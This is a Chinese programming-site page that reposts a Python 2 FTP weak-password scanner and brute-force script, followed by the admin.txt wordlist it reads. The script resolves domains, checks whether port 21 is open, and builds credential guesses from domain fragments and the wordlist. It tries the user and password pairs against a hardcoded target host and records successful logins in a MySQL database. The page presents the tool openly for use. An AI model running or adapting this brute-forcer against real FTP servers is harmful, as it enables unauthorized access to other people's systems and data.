• 欢迎访问开心洋葱网站,在线教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入开心洋葱 QQ群
  • 为方便开心洋葱网用户,开心洋葱官网已经开启复制功能!
  • 欢迎访问开心洋葱网站,手机也能访问哦~欢迎加入开心洋葱多维思维学习平台 QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏开心洋葱吧~~~~~~~~~~~~~!
  • 由于近期流量激增,小站的ECS没能经的起亲们的访问,本站依然没有盈利,如果各位看如果觉着文字不错,还请看官给小站打个赏~~~~~~~~~~~~~!

python编写的FTP弱口令扫描器 python FTP暴力破解部分代码

python 水墨上仙 1604次浏览

python编写的FTP弱口令扫描器 python FTP暴力破解部分代码

#!/usr/local/bin/python
#-*- coding: UTF-8 -*-
####################################################################
#qq:316118740
#BLOG:http://hi.baidu.com/alalmn
# python FTP暴力破解部分代码
#  刚学写的不好请大家见谅
####################################################################
def open_txt():  #打开TXT文本写入数组
    try:
        xxx = file('admin.txt', 'r')
        for xxx_line in xxx.readlines():
            passlist.append(xxx_line)
        xxx.close()
    except:
        return 0
def list_del():  #清空list列表
    try:
        i = 0 #得到list的第一个元素
        while i < len(passlist):
            del passlist[i]
            del list_passwed[i]
    except:
        return 0
#def list_open():  #读取list列表
#    i = 0 #得到list的第一个元素
#    while i < len(list_passwed):
#        print "a[",i,"]",list_passwed[i]
#        i = i + 1
###########################################################################
def str_index(data1,data2):  #查找字符
    try:
        data1.index(data2)
        return 0
    except:
        return 1
def www_cj(sStr1):  #域名拆解
    sStr2 = "."
    passlist.append(sStr1)
    d1 = sStr1[0:sStr1.find(sStr2)]
    #print d1
    passlist.append(d1)
    sStr1 = sStr1[sStr1.find(sStr2)+1:]
    #print sStr1
    passlist.append(sStr1)
    if str_index(sStr1,sStr2):
        return 0
        #print "1111111111没有"
    else:
        #print "2222222222有了"
        d2 = sStr1[0:sStr1.find(sStr2)]
        #print d2
        passlist.append(d2)
        sStr1 = sStr1[sStr1.find(sStr2)+1:]
        #print sStr1
        passlist.append(sStr1)
        if str_index(sStr1,sStr2):
            return 0
            #print "222222没有"
        else:
            #print "2222222222有了"
            d3 = sStr1[0:sStr1.find(sStr2)]
            #print d3
            passlist.append(d3)
            sStr1 = sStr1[sStr1.find(sStr2)+1:]
            #print sStr1
            passlist.append(sStr1)
            if str_index(sStr1,sStr2):
                return 0
                #print "33333没有"
            else:
                #print "2222222222有了"
                d4 = sStr1[0:sStr1.find(sStr2)]
                #print d4
                passlist.append(d4)
                sStr1 = sStr1[sStr1.find(sStr2)+1:]
                #print sStr1
                passlist.append(sStr1)
                if str_index(sStr1,sStr2):
                    return 0
                    #print "44444没有"
                else:
                    #print "2222222222有了"
                    d5 = sStr1[0:sStr1.find(sStr2)]
                    #print d5
                    passlist.append(d5)
                    sStr1 = sStr1[sStr1.find(sStr2)+1:]
                    #print sStr1
                    passlist.append(sStr1)
                    if str_index(sStr1,sStr2):
                        return 0
                        #print "55555没有"
############################################################################打开FTP
from ftplib import FTP
#def ftp_open(host='',user='',passwd=''):  #打开FTP
#    try:
#        ftp=FTP()
#        #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息
#        ftp.connect(host,'21') #连接
#        data=ftp.login(user,passwd) #登录,如果匿名登录则用空串代替即可
#        #print ftp.getwelcome()  #欢迎词
#        #print data
#        print "fffffffffffffffffffffffffffffffffff"
#        time.sleep(10)  #延时
#        ftp.quit() #退出ftp服务器
#        return 1
#    except:
#        return 0
def ftp_open(host,user,passwd):  #打开FTP
    try:
        ftp = FTP(host)
        ftp.login(user,passwd)
        ftp.quit()
        return 1
    except:
        return 0
###########################################################################
import time
def link_ftp(www):  #TXT导入数组    组合密码    遍历连接FTP
    #passlist = list(set(passlist))   #python 列表去重
    for i in passlist:
        if i not in list_passwed:
            list_passwed.append(i)
######################################   遍历数组组合出 密码
    I1 = 0 #得到list的第一个元素
    while I1 < len(list_passwed):
        #print "第几组密码:",I1
        if I1==len(list_passwed):
            break  #退出循环
        I2 = 0 #得到list的第一个元素
        while I2 < len(list_passwed):
            print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2]
#            if ftp_open(www,list_passwed[I1],list_passwed[I2]):  #打开FTP
#                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP成功"
#                sql = "insert into ftp(IP,user,password) values('%s','%s','%s')"%(www,list_passwed[I1],list_passwed[I2])
#                print sql
#                mysql.mysql_insert(sql) #添加到数据库
#                #time.sleep(1)  #延时
#                #sql_sel() #SQL查询
#            else:
#                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP失败"
            I2 = I2 + 1  #二层
        I1 = I1 + 1   #一层
    sql_sel() #SQL查询
###########################################################################
import socket
#获取域名的IP地址
def www_ip(name):  #域名转IP
    try:
        result = socket.getaddrinfo(name, None)
        return result[0][4][0]
    except:
        return 0
def ip_port(ip):  #查看IP端口是否开放
    port=21
    s=socket.socket()
    #address="127.0.0.1"
    try:
        s.connect((ip,port))
        #print 'IP:',ip,"port:",port,"以开放"
        return 1
    except socket.error,e:
        #print 'IP:',ip,"port:",port,"未开放"
        return 0
###########################################################################
def www_port(www):  #www转换IP在查看端口
    IP=www_ip(www)
    if IP:
        print www,u"ip地址:",IP
        if ip_port(IP):
            #print IP,"开放21端口"
            www_cj(www)  #域名拆解
            open_txt()   #TXT导入数组
            sql_up(www,"send") #SQL修改数据
            link_ftp(www)  #组合密码    遍历连接FTP
        else:
            sql_up(www,"---") #SQL修改数据
            print IP,u"未开21放端口"
            #sql_sel() #SQL查询
    else:
        sql_up(www,"===") #SQL修改数据
        print www,u"域名转IP失败"
        sql_sel() #SQL查询
###########################################################################
import mysql #数据库操作文件
def sql_up(url,data): #SQL修改数据
    try:
            up = "update  url1 set  ftpsend='%s' where url='%s'"%(data,url)
            if mysql.mysql_update(up):  #修改数据
                print url,u"修改数据库成功"
            else:
                print url,u"修改数据库失败"
            mysql.mysql_S()  #保存数据
    except:
        return 0
def sql_sel(): #SQL查询
    try:
        list_del()  #清空list列表
        sql="select * from url1 where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            www_port(row[0])  #www转换IP在查看端口
            #sql_cx(row[0])
            #print '%s-%s'%(row[0],row[1])
            #print row[0]
            #print row[1]
            #print row[2]
        #mysql.mysql_close()  #关闭数据库
    except:
        print u"读取URL异常!!!!!"
###########################################################################
if __name__=='__main__':
    mysql.mysql_open()  #连接数据库
    global  passlist  #声明全局变量
    passlist = []    #用户名:anonymous 密码为空
    global  list_passwed  #列表去重,不打乱原来的顺序
    list_passwed=[]
#    sql_sel() #SQL查询
    www= "ftp.hificat.com"
    www_port(www)  #www转换IP在查看端口

admin.txt文件内容

Admin
admin
Administrator
administrator
adminadmin
admin888
admin666
admin999
adminqqq
admin555
admin444
admin333
admin222
admin111
admin123
User
user
Password
Power
Guest
guest
test
www
web
sa
data
dada123
data123
www123	
web123
asdasd
asd123
qwe123
123qwe
qwerty
zxcvbn
abc123
123abc
asd123
zxc123
qwe123
admin888
admin666
1
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
111
222
333
444
555
666
777
888
999
000
888888
789
654321
112233
111222
111222333
521521
123321
123123
woaini
kissme
fuckyou
testtest
test123
test123456


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明python编写的FTP弱口令扫描器 python FTP暴力破解部分代码
喜欢 (0)
加载中……